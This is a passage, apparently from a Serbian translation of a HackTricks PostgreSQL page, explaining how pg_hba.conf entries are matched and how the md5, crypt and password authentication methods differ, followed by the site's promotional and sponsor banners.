primenljivo), naziv baze podataka, korisničko ime i metod autentifikacije koji se koristi za uparivanje konekcija. Prvi zapis koji se podudara sa tipom konekcije, IP adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentifikaciju. Ne postoji rezervna ili rezervna opcija ako autentifikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen. Dostupni metodi autentifikacije zasnovani na lozinkama u pg_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširana, kriptovana kriptografijom ili čisti tekst. Važno je napomenuti da metoda crypt ne može se koristiti sa lozinkama koje su šifrovane u pg_authid.
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** koji se pokreću najnaprednijim alatima zajednice.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}